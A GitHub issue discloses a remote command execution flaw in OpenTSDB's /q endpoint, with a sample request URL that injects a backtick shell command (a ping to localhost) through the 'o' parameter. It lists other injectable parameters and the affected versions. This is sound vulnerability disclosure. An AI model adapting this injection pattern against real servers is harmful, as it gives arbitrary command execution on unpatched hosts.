Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Many parameters to the /q URL can execute command, including o, key, style, yrange and its json input, y2range and its json input. #1239

Open
mikelueng opened this issue Jun 29, 2018 · 0 comments
Labels
security Security related fix or enhancement

Comments

@mikelueng
Copy link

mikelueng commented Jun 29, 2018

url: opentsdb-a.b.com:4242/q?start=x&end=x&m=x&o=&yrange=[0:]&y2range=[0:]&key=x&style=x&wxh=x&json
payload: take 'o' parameter as example
requeset url: opentsdb-a.b.com:4242/q?start=x&end=x&m=x&o=%60ping%20-c%2010%20127.0.0.1%60&yrange=[0:]&y2range=[0:]&key=x&style=x&wxh=x&json
response: show ping infomation.
ps: opentsdb-a.b.com is a host which use opentsdb service.

impact:

  1. I have checked the version below 2.3.0, including 2.3.0, 2.2.0, 2.1.4, all are vulnerable. The other versions below 2.3.0 haven't check may probably has the same problem.
  2. The latest version of opentsdb(2.3.1) has fixed the vulnerability.

It's very important for users to know this vulnerability, and update the latest version as soon as possible. Don't let your server device in great danger!

@mikelueng mikelueng changed the title vulnerability! remote command execute in 'q' request method vulnerability! Remote Command Execute in /q URL. Jun 29, 2018
@mikelueng mikelueng changed the title vulnerability! Remote Command Execute in /q URL. vul Jun 29, 2018
@mikelueng mikelueng changed the title vul Many parameters to the /q URL can execute command, including o, key, style, yrange and its json input, y2range and its json input. Jul 23, 2018
@mikelueng mikelueng reopened this Jul 23, 2018
@manolama manolama added the security Security related fix or enhancement label Dec 11, 2018
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
security Security related fix or enhancement
Projects
None yet
Development

No branches or pull requests

2 participants